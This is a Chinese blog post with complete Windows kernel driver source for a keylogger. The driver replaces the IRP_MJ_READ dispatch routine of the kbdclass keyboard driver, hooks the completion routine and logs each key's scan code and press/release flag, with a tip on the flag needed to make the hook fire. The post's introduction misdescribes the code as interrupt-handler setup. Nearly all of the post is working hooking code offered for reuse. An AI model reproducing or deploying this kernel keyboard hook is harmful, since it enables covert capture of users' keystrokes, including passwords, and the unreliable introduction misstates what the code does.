通过IRPhook实现键盘记录

本文详细介绍了在Windows 7 x86系统中如何通过myhead.h头文件实现驱动程序的加载过程,包括使用ObReferenceObjectByName函数引用对象,配置中断处理函数,以及驱动卸载时的清理操作。重点阐述了如何设置驱动的中断处理函数以响应系统中断,并通过DisPatchRead函数处理读取请求,同时展示了如何通过Hook函数动态改变中断处理行为。

测试机器:win7x86

myhead.h:

#include <ntddk.h>


NTKERNELAPI NTSTATUS ObReferenceObjectByName
(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *Object
);


typedef NTSTATUS(__stdcall *PDRVDISPATCHFUNC)(PDEVICE_OBJECT pDevObj, PIRP pIrp);



NTSTATUS DisPatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS Hook(BOOLEAN IsEnble);
void Unload(PDRIVER_OBJECT pDriverObj);
NTSTATUS
MyCompletionRoutine(
__in PDEVICE_OBJECT  DeviceObject,
__in PIRP  Irp,
__in PVOID  Context
);


test.c

#include "myhead.h"
#include <ntddkbd.h>

extern POBJECT_TYPE *IoDriverObjectType;
PDRVDISPATCHFUNC OrlDispatchRead = NULL;
ULONG numPendingIrps = 0;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegisterStr)
{
	UNREFERENCED_PARAMETER(pRegisterStr);
	NTSTATUS status = STATUS_SUCCESS;
	pDriverObj->DriverUnload = Unload;

	DbgPrint("DriverEntry\n");
	Hook(TRUE); 
	return status;
}

void Unload(PDRIVER_OBJECT pDriverObj)
{
	LARGE_INTEGER liDelayTime;
	Hook(FALSE);
	liDelayTime.QuadPart = -1000000;
	while (numPendingIrps > 0)
	{
		KeDelayExecutionThread(KernelMode, FALSE, &liDelayTime);
	}
	DbgPrint("Unload\n");
}

NTSTATUS Hook(BOOLEAN IsEnble)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	UNICODE_STRING usKeyDrvName;
	PDRIVER_OBJECT pKeyDrvObj = NULL;
	RtlInitUnicodeString(&usKeyDrvName, L"\\Driver\\kbdclass");
	status = ObReferenceObjectByName(&usKeyDrvName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&pKeyDrvObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("ObReferenceObjectByName error status:%p\n",status);
		return status;
	}
	ObReferenceObject(pKeyDrvObj);
	if (IsEnble)
	{
		OrlDispatchRead = pKeyDrvObj->MajorFunction[IRP_MJ_READ];
		pKeyDrvObj->MajorFunction[IRP_MJ_READ] = (PDRVDISPATCHFUNC)DisPatchRead;
	}
	else
	{
		pKeyDrvObj->MajorFunction[IRP_MJ_READ] = OrlDispatchRead;
	}

	return status;

}

NTSTATUS DisPatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{

 	PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp);
 	DbgPrint("pIrpSp->Control:%x", pIrpSp->Control);
 	DbgPrint("abc:%x", SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL);
 	pIrpSp->Control = SL_INVOKE_ON_SUCCESS /*| SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL*/;
	if (NT_SUCCESS(pIrp->IoStatus.Status))
	{
		DbgPrint("DisPatchRead KEY BOARD\n");

		DbgPrint("CompletionRoutine %p BOARD\n", (PVOID)pIrpSp->CompletionRoutine);
 		pIrpSp->Context = (PVOID)pIrpSp->CompletionRoutine;
 		pIrpSp->CompletionRoutine = MyCompletionRoutine;
	}
	if (pIrp->PendingReturned)
	{
		IoMarkIrpPending(pIrp);
	}
	numPendingIrps++;
	return OrlDispatchRead(pDevObj, pIrp);
}

NTSTATUS
MyCompletionRoutine(
__in PDEVICE_OBJECT  DeviceObject,
__in PIRP  Irp,
__in PVOID  Context
)
{
	DbgPrint("MyCompletionRoutine\n");
	PKEYBOARD_INPUT_DATA pKid;
	//PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(Irp);
	if (NT_SUCCESS(Irp->IoStatus.Status))
	{
		pKid = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
		ULONG uCount = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
		for (ULONG i = 0; i < uCount;i++)
		{
			switch (pKid->Flags)
			{
			case KEY_MAKE:
				DbgPrint("\nFlag: KEY_MAKE\n");
				break;
			case KEY_BREAK:
				DbgPrint("\nFlag: KEY_BREAK\n");
				break;
			}
			DbgPrint("Key Code: %x\n", pKid->MakeCode);
		}
	}
	if (Irp->PendingReturned)
	{
		IoMarkIrpPending(Irp);
	}
	numPendingIrps--;
	if ((Irp->StackCount > (ULONG)1) && (Context != NULL))
	{
		return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);
	}
	else
		return Irp->IoStatus.Status; 
}


其中
pIrpSp->Control = SL_INVOKE_ON_SUCCESS /*| SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL*/;
这一句是必须要设置的,不然进不了自己的完成函数!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值